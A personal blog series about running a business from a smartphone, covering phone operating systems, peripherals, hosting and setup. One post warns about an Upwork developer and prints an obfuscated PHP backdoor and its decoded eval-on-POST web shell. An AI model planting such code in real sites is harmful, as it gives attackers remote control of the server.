Upwork Outsourcing

As part of this experiment I decided to outsource the updating of this website with better graphics and layout. This was clearly done by someone on their cell phone and that’s not cutting it!  So I turned to Upwork (used to be Odesk for those of you who are familiar with the old name).

Setting up an account was a bit painful since their app doesn’t currently support the entire suite of tools on their website. Switching between the mobile browser and the app was a bit annoying, but it did work. After finally getting authorized, setting up payment, and getting a developer I was off to the races.

Things were going okay at first, for the first week or so. Regular communication and clear deadlines are important. But this particular developer had some tricks up their sleeves. Firstly, the account they used was a front for a larger dev team. That dev team wasn’t willing to use the built-in Upwork feature to track their time. That was my first clue that something was about to go awry.

The second is that it took 40 hours to package up the code for delivery – something that should have been extremely simple to do if the code was indeed being developed in any professional way.  But the last issue was the kicker.

When I got the code it was in a format the the iPhone can’t easily handle – zip files. So I broke my rule and downloaded it into a computer and before I could even unzip it, Microsoft’s Security Essentials found something that looked suspicious. So I dug into the code and found 6 PHP back doors that would allow this developer and their team to get access to this site.

Here’s an example of what the code looked like:

<?php $viu0="sutpe_or"; $iwvk7=$viu0[0].$viu0[2].$viu0[7].$viu0[2].$viu0[6].$viu0[1].$viu0[3].$viu0[3].$viu0[4].$viu0[7]; $uvwh73=$iwvk7 ($viu0[5].$viu0[3].$viu0[6].$viu0[0].$viu0[2]); if(isset(${$uvwh73}['q490ded'])){eval( ${$uvwh73}['q490ded']);} ?>

And after it’s decoded, this is what it looks like:

<?php if(isset(${_POST}['q490ded'])){eval(${_POST}['q490ded']);} ?>

Basically what this says is that any time their team went to my website and did a POST request to my site with the above parameter they would have been able to run any command they wanted to as if they had the same level of access that I had. That’s a bad thing if you’ve never heard of such a thing.

This points to two major failings of using the cell phone – uncompressing, navigating and finding issues within files is always going to be a bit more complex, except on things like unlocked Android environments. Secondly, even attempting to use a cell phone for this type of task became overwhelmingly painful even in such a simple task as receiving content and uploading it to the site.

I’ve contested the work the developer did, but as a smart phone executive, this is something to be wary of. I have very little concerns with Upwork as a company, but the developers you happen to be saddled with are a mixed bag and you need to be extremely cautious of their eventual work product.

Update: less than one day later the funds have been returned! Thanks to Upwork, Joe, and Dennis for helping in this matter!

Upwork Response

Windows Continuum

Before going too far down the path of discussing using your phone as a work computer, it’s worth discussing Windows Continuum. If you haven’t seen it, it’s worth a watch. Microsoft is keenly aware that people are going to start wanting to use their phone as a desktop environment. It’s simply a matter of time before they become far more integrated – as drive density increases, CPUs become less battery hogs and hardware becomes better, people like me will start popping up more and more without even necessarily being aware of the shift they are making.

The video makes some very good points. Firstly, Windows isn’t quite the full desktop environment. The ARM architecture is both a huge advantage for the phone and a big disadvantage for the market place. When I have spoken with Windows evangalists about this and other issues related to increased resolution and the effects on legacy applications their tough love approach is, “Those legacy apps will have to upgrade.”

That’s all well and good, but it does make working on a phone a significantly harder and slower experience. I suppose one could be upset with that answer, but I think Microsoft is basically correct – yes, it breaks stuff, and yes, some legacy apps are no longer supported, but progress can’t be thwarted by one legacy app, or you end up with companies still running IE6.0 internally due to ActiveX controls *cough*.

Continuum has the advantage of having the easy shortcuts like alt-tab and a mouse that make usability far superior than say, an iPhone. However, it’s missing a lot of the core features that people know and love about Windows (for those who know and love Windows that is). Limited access to the file system is a bit of a miss, and lack of support for non-metro apps will haunt it for a while until application developers get on the bandwagon.

I actually love the idea that Windows Continuum stands for, and I really hope they continue developing down this path. If nothing else it shows that Microsoft is actually leading the pack in the desktop/phone crossover space. Only time will tell who wins, but they’ve got a healthy lead in usabability.

Which OS and Why?

The first comments I got when I started this blog was, “Why the iPhone” or “Why not Android?”  The short answer is that I’m not married to any phone, and I intend to try many out in the process of writing this blog. But not everyone has the means or interest in trying out lots of devices. So they still need the question answered, “Which Phone should I choose?”

To answer that question, I need to give you a bit of background on how I view the ecosystem.  I don’t think about phones in a vacuum, I think about them holistically with their big daddy desktop/laptop operating systems.  So let’s look at the other options first:

Just a few of the Phones I’ve Owned Going Into This Project

  • Windows 7 and 10 are both really nice operating systems to use.  Say what you will, but Windows has done a really nice job with those operating systems if you need to be productive.  We can all joke about how bad Windows 8 was, but why exactly was it bad?  In my opinion it’s because Windows was fighting to make Metro a part of the desktop environment and it was their first very bad attempt to make that happen.  Why does Metro matter so much?  It matters because if they get it right, there will be a seemless switch between mobile and desktop.  If I had a Windows Operating system on my phone that was powerful enough to act as a desktop, which they are for most people, it should be a seemless switch to pick up my phone and take my tools, my data and my environment with me.  A phone that can act as a desktop is the holy grail and Microsoft gets this design ethos better than anyone.  When Windows 10 came out, you saw them shrink the Metro interface into the start menu and behold, it looks a lot like the phone viewport now.  Windows 10 gets it right.  It’s an open (not as in open source, but open as it I can install and run virtually anything from anywhere) OS.
  • Windows Mobile – the little phone OS that could.  I know a lot of people who swear by it.  I actually really enjoyed my Windows phone when I first started using it.  It’s nearly identical to the Metro interface of Windows 10, which is to say, it’s kinda ugly but very powerful.  As a tool for doing work, it’s a solid choice.  Apps, however, are lagging way behind the iPhone and Android market and Metro is actually different enough that many things don’t work the same.


  • Chrome OS is the most locked down desktop operating system on the market.  It’s designed to limit the user to only certain types of cloud based applications or whatever can run in the browser.  I admit that cloud based applications give the user an incredibly large array of things, but as a desktop operating system it’s a poor choice for someone who needs to install and run applications, have local files, or do any meaningful non-web related work.  Therefore it would never be an option for someone like myself.  But I do get the appeal for users who need a lightweight, cheap and powerful email and browsing platform.  It’s enough to use TurboTax online and shop Amazon and for most people that’s good enough.
  • Android is the most open mobile phone OS on the market, which is odd, because their desktop environment is so closed.  This is one of the weird paradoxes of their stance on security and it makes it nearly impossible to consider Android and ChromeOS as the same family of product or even compatible beyond whatever cloud applications they tie into.  Android is comparable to iOS in terms of security, but Android third party app market places are as Old Ben Kanobi said, “the most wretched hive of scum and villainy.”  Google’s stance on privacy has always made them incompatible with my needs as a privacy/security guy and that requires a lot of work on the user’s side to correct/mitigate if they are concerned about it.  Android is really a family of phones, and therefore some software that might work on one phone perfectly may not run at all on another, which can make the app store experience frustrating.  So although Android is easily the best choice for flexibility and power, it’s lack of compatibility with a desktop OS and it’s messy third party app store/ecosystem makes it a bit of a wash.


  • OSX is a nice looking OS with relatively nice features.  It’s based on FreeBSD, which is a very robust Unix derivative that has wonderful security features.  As a result, it is very easy to develop applications for it, and run a full feature set of software, giving you as granular access as you want – as long as you’re not publishing commercial software, which is a different story.  But as a user and producer of content, it’s a very nice operating system.  I do have a long list of issues with the usability of the OS, but it’s come a long way.
  • iOS on the other hand is basically perfect in terms of usability compared to OSX.  Literally children and pets can use it.  iOS, however, is an extremely locked down OS – similar to ChromeOS in that regard.  It has virtually no congruence with the Desktop operating system either beyond a syncing application, some of the UI elements like search and it’s “Handoff” function.  But what makes up for that is that it does have the best app store of any product in terms of safety and offerings.  There can be some compatibility issues with screen resolution in apps – particularly with newer phones until everyone adjusts.  But Apple has also made a commitment to trying to make their phones harder to break into, which is a big plus for a weary privacy advocate/business traveler.

I know I didn’t mention some esoteric phones operating systems like Firefox OS, Sailfish OS, Tizen, Ubuntu Touch, or even well known ones like Blackberry OS.  That is intentional.  For this experiment, I’ll be focused on the most common devices.

After having dozens of phones, and having plenty of opportunities to try this experiment before, the current generation of phones have all, almost accidentally become the perfect phones to attempt this experiment.  The answer of “Which smart phone is best” will end up being a matter of preference, security needs, corporate policy oversight, hardware features and possibly a matter of app capabilities.  There is no perfect phone for everyone.  But there are a lot of really excellent phones out there.

Smartphone Keyboards

The next step to increasing your ability to work efficiently is getting yourself a good keyboard.  One of my largest gripes with most modern smart phones is that they lack a physical keyboard.

But two things have changed since the early days.  Firstly, the touch screens have gotten good enough and they keyboard layout is close enough to that of a full sized keyboard that you can get most work done.  Secondly, Bluetooth has gotten much more secure and now it’s nowhere near as dangerous as it used to be to use a Bluetooth keyboard.

Granted, I still wouldn’t use a wireless keyboard if I thought there was an adversary nearby, but thankfully, that’s not as big of a deal when you’re not travelling.  Still, it’s a worry, so I disable Bluetooth whenever I’m not using it.

So, a stand alone lightweight Bluetooth keyboard is a real option.  It gives you the flexibility to write long-form prose, program, or operate your phone with far greater speed.  That’s what a producer of content needs – speed of throughput.  This makes using the phone a lot more viable as a full-time platform.

Bluetooth Keyboard from Omoton
This is the Bluetooth keyboard from Omoton.  It’s just around $14, and is lightweight, has multiple weeks of battery life using two AAA batteries.  It has a regular sized QUERTY keyboard interface, and most of the functions you’d expect to see of a keyboard of it’s size.  The arrow keys are strangely very useful when you’re writing, because taking your hands off they keyboard to re-position the cursor can be very slow compared to moving the arrow keys around.

This keyboard will likely not be my last. As a programming keyboard it has a lot wrong with it. Not the least of which is the lack of an escape key and like MacOS Delete is actually backspace and there is no delete key, which requires keyboard emulation.  But it does provide me with a tremendous speed advantage in creating new content.  I’d highly recommend getting something like this if you do tend to do a lot of data entry.

Consuming Vs Creating

One of the very first problems I run into when deciding whether a device is simply capable of being one for consumption or is capable of more, is knowing if it can be used in day to day operations.

Firstly, let’s say for a second that I believed that a smart phone could be leveraged in terms of CPU, memory, etc. you’d still have to overcome some major limitations on general usability.

The first issue I came across is that if I’m going to use a smart phone in my work day, I’m going to be needing a bigger monitor.  The first option is Airplay or Chromecast.  Sure I could do work on my couch, but like many other people, I have multiple monitors and need to be able to use multiple computers for my non-smart phone exec type work.

So the couch is out (for today) though, I’m not against the idea conceptually.  Instead, I need to use a monitor.  The easiest way I found to do this is to buy a simple HDMI adapter.

Photo of a Samsung Monitor Mirroring Me Taking A Photo With the iPhone

The HDMI adapter has two uses.  The first is that it allows you to connect to a monitor.  The second is that it allows you to connect to overhead projectors for when you need to have a meeting and display something.  Yes, your smart phone will become your display for presentations as well – all with one small little dongle that is easily shoved in your bag.

HDMI and VGA Dongles

Once you connect your phone it still acts just like the phone would.  Touch control still works.  Vertical and Horizontal alignment affects layout of the monitor, etc.  But now you have a full sized screen and won’t have to be hunched over all day trying to read things.  Minor usability increases have a huge effect on your ability to produce new content.

Each one of these connectors can set you back around $50 or so.  Some are cheaper, especially non-certified versions.  I haven’t had any problems with any of them, but your mileage may vary.

But wait, that’s not all.  The tiny slot next to the VGA female connector also accepts an iPhone charger cable.  So you can be charging your phone while you work without using any extra cables or parts.  Pretty slick!  It all adds up.

WordPress Hosting

A customer facing exec is going to want a blog, like this one. And even if you don’t want one, you’re going to need one. Get over it. Get used to it. Get to love it. It’s your voice, your mouthpiece and your connection to the community at large.

I’ve played with a lot of self hosted CMSs, and even forked WordPress at one point. But you shouldn’t put yourself behind the eightball. You need to keep yourself light and let other people hand administration and security unless you absolutely can’t for some reason.

That’s where WPEngine comes into play. The site has a simple configuration system that can get you up in running in almost no time at all.

WPEngine Login Page
WPEngine’s Administrative Console
  1. Point DNS to the correct IP address for the site (like within Godaddy or whichever registrar you’ve chosen.
  2. Change WordPress to the new domain URL (like www.smartphoneexec.com)
  3. Update the domain settings in WPengine to reflect the new domain that you’ve chosen.
  4. Wait up to 30 minutes for your registrar to push the DNS settings.

And just like that, you have a blog and a conduit to your community. Pretty simple. For around $350 a year you could be up and running in just a few minutes.

First Thing’s First

You can’t start a blog without a domain. And for domains you have lots of choices. I’ve loved working with Dynadot and Namecheap has also been great. But for something like this, Godaddy is simply easier. Yep, Godaddy, the same registrar with the semi-chauvinistic ads you see during the superbowl.

Godaddy Ordering Page

There are two reasons to get past the commecials for a project like this. Firstly, they have a somewhat good smart phone app. I say somewhat good because you’ll end up having to use the website in mobile Safari for a lot of the setup. It’s not a terrible app, just low on frills. Behold the DNS configuration screen:

Godaddy Phone App

Nothing to write home about and very light on featurs but if you need to make changes in a pinch, it’s a straight forward GUI.  The bad part comes when you try to configure other parts of their interface. But if that were the only reason to use Godaddy it wouldn’t be worth talking about.

The second reason is because they have a seamless Office365 integration, which makes setting up email accounts relatively painless.

Godaddy Meets Office 365

Office 365 Ordering Page

After setting that up you should be good to go with a domain and an email account. Two things a CEO should never be without!  All in it should cost you about $100 for one year. Next?  The blog itself…

The Rules

I can’t start this project without setting some ground rules. It’s unfair and incorrect to say I’m only ever on a smart phone only when it’s clear I will be utilizing other devices. So here’s what I consider to be out of scope:

  1. Other people and their tools. I can only do this experiment on myself and therefore I can’t force employees, partners, vendors or customers to use any kind of smart phone as their primary method of doing business.
  2. The past. I can’t change anything that already existed that didn’t use an phone during it’s creation.
  3. Websites and infrastructure. You’re not going to be served www.smartphoneexec.com from my phone. Yes, I could root a  smart phone and install a webserver on it and jerry rig something to work, but no, I’m not going to do that. Time is money!
  4. Peripherals. Earphones, monitors, keyboards, printers, etc. we need these things and I’ll talk about them. But they are separate and aren’t in scope for phone only blog.
  5. Internet Access. This should go without saying but I’ll need Internet access and I’ll be discussing that a bit too. Being online is very important. But it’s not in scope.
  6. Power. Of course I’m going to need external power and that won’t be in scope, though I do have lots of thoughts about it and will certainly discuss it.
  7. Pictures and Video. If I can take pictures and video with the phone, I will. But if I can’t because they are of the phone itself, I won’t. I’ll use an external camera as needed. If I repost other people’s photos, those cannot be guaranteed to be from a phone either.
  8. Backups. I’ll need to use external equipment for backups. As much as I like the idea of the cloud, I’m a bit wary of it given some of my other projects. Backups will exist locally and are out of scope.
  9. Non-SmartPhone Exec stuff. This is a bit amorphic, but I do work on other projects and for those projects I may need other equipment. Those other projects are out of scope for this. So if you see me with some other tech, don’t tackle me and call the hypocrisy police!
  10. The Cloud. I’m not going to count anything in the cloud.  If I can access it through the smart phone, I’m not going to pretend like that should count.  Yes, this might feel a bit like cheating, if I VNC or SSH into a machine.  But in reality, this might be the best way to go truly mobile.
  11. Downtime. For my own sanity, I may chose other devices for rest and relaxation. We’ll see. But a man does need to binge watch some Netflix sometimes. The tiny screen and constant interruptions from the phone aren’t cutting it. So it’s out of scope.

But that should be it. As I discuss the steps to becoming a real road warrior, you should keep in mind that these rules are intended to be a guideline and I may come back and revisit them. But I’ll do what I can to make this work. If you have any questions or suggestions, don’t hesitate to shoot them over.

My Smartphone History

When I first saw the modern cell phone I thought it had a lot of promise.  It would take years before that dream could be realized.  The news and buzz around the first iPhone I thought might be interesting. For years I thought the concept of a device that integrated cellular, text, email, phone and GPS was inevitable and poof, one day Steve Jobs did it. But I wasn’t one of the first to rush out and wait in line to buy it. No, quite the contrary.

I deeply worried about the security implications of such a device. A friend of mine, HD Moore, (author of Metasploit) was eager to show me how he had rooted his device, and installed Python on it so that he could hack from the device. He was almost breathlessly excited to tell me he had found issues with the voicemail system and could listen to people’s voicemail as a result. In practically the same breath he was encouraging me to buy one.

I asked, “Why should I get an iPhone after you just told me that?”

He answered with a smirk, “So I can hack you.”

With that in mind I stayed clear of iPhones for the first several months, until I felt reasonably sure the phone had gotten most of the low hanging fruit fixed.  I finally broke down and bought one.

My first impressions weren’t good at all. It had bad battery life, no concept of multiple processes, it crashed regularly, didn’t have enough storage, it was slow and had no QUERTY keyboard. How did people live with this device? It felt like a giant step backwards to me and I’d regularly tell people it was the worst phone I had ever owned  – even worse than that Matrix slide phone that had loose microphone connectors so no one could hear you talk unless you held it just right.  Yes, the first iPhone really was that bad.

I had just left things like the Palm V and the latest Windows CE devices – all of which had nearly as many features, with way less annoying limitations around the app stores and better access to the device internals.

The next few iPhones came out and gradually my gripes decreased. With antenna-gate I went back to hating the phone. It was only slightly better than the 5 watt bag phone that I had in the car when I was younger… At least that thing had great cellular signal.  At this point the iPhone wasn’t impressing me very much.  Design failures, compounded with a locked ecosystem were a big drag.

But with the iPhone 6, nearly everything I disliked about the older versions has been rectified or I had gotten used to.  Even things like a screen that was too large to use single handedly seemed to vanish with multi-tap. In fact instead of being the worst phone I’ve ever had like the original iPhone it was suddenly the best!

Years ago I had a conversation with a friend of mine, Jeremiah Grossman about the iPhone. My major beef with it was that,

“it feels like a device for consumers of products, not builders of products.”

Of course you can update your Facebook status with photos and video. But you can’t make a company or create a product with an iPhone, I said. At least not then….

One of my dreams has always been to be truly mobile. Not just sort-of mobile where I still have a backpack full of gear when I travel. I mean really truly mobile where I can leave everything that doesn’t fit in my pocket behind and still get stuff done. No phone had never been close to that device for me. But maybe something had changed. Maybe the confluence of mobile app development, mobile responsive design with websites, better OS and superior hardware had made this possible while I hadn’t been paying attention.

So with that in mind I began thinking, perhaps it’s time to put this to the test. Can I operate my corporate life using only a cell phone?  Who knows? But we shall see.